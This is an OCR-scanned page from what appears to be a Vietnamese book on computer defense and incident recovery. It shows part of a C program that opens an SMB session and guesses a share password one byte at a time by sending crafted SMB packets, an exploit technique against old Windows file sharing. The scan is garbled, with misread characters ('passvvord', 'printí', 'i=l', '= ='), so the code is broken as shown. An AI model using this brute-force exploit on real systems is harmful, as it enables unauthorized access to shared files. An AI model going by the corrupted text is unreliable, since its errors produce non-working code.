Page 123 - Hướng Dẫn Cách Phòng Thủ Và Khắc Phục Sự Cố Máy Tính
P. 123

{
            printf ("Error: Couldn't establish session. \n");
            return (0);
            }
            if (samba_session (sock, "31337", "")!=0)

            {
            printf ("Error: Could't establish login session.Xn");
            return (0);
            }
            memset (password, 0, sizeof (password));

            printí ("Wait  a few  seconds...  (Long passwords take  a
        few minutes on a 56K modem.)\n");

            while (done= =0)
            {
            for (i=l; i<=255; i++)
            {
            passxvord [len-1] = i;
            // build packet



            build_crafted_smb_packet (share, passvvord);


            if (send (sock, smb_packet,
            strlen (share) + strlen (passvvord) + 51, 0) = = -l)
            {
            printf ("Error: Couldn't send data. \n");

            return (0);
            }
            memset (data, 0, sizeof (data));
            if (recv (sock, data, 8192, 0) = = -1)


       124
   118   119   120   121   122   123   124   125   126   127   128